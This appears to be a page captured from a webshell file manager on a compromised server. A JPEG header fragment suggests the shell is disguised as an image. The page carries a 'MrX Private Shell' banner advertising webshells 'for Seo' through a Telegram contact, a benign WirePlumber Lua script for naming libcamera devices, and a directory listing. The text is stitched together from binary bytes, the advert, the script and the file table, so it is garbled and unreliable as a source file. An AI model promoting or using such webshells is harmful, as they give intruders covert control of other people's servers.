����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
-- WirePlumber
--
-- Copyright © 2023 Collabora Ltd.
-- @author Ashok Sidipotu <ashok.sidipotu@collabora.com>
--
-- SPDX-License-Identifier: MIT
mutils = require ("monitor-utils")
log = Log.open_topic ("s-monitors-libcamera")
SimpleEventHook {
name = "monitor/libcamera/name-device",
interests = {
EventInterest {
Constraint { "event.type", "=", "create-libcamera-device" },
},
},
execute = function(event)
local parent = event:get_subject ()
local properties = event:get_data ("device-properties")
local id = event:get_data ("device-sub-id")
local name = "libcamera_device." ..
(properties["device.name"] or
properties["device.bus-id"] or
properties["device.bus-path"] or
tostring (id)):gsub ("([^%w_%-%.])", "_")
properties["device.name"] = name
-- deduplicate devices with the same name
for counter = 2, 99, 1 do
if mutils.find_duplicate (parent, id, "device.name", properties["device.name"]) then
properties["device.name"] = name .. "." .. counter
else
break
end
end
-- ensure the device has a description
properties["device.description"] =
properties["device.description"]
or properties["device.product.name"]
or "Unknown device"
event:set_data ("device-properties", properties)
end
}:register ()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| create-device.lua | File | 1.56 KB | 0644 |
|
| create-node.lua | File | 1.21 KB | 0644 |
|
| enumerate-device.lua | File | 1007 B | 0644 |
|
| name-device.lua | File | 1.35 KB | 0644 |
|
| name-node.lua | File | 2.79 KB | 0644 |
|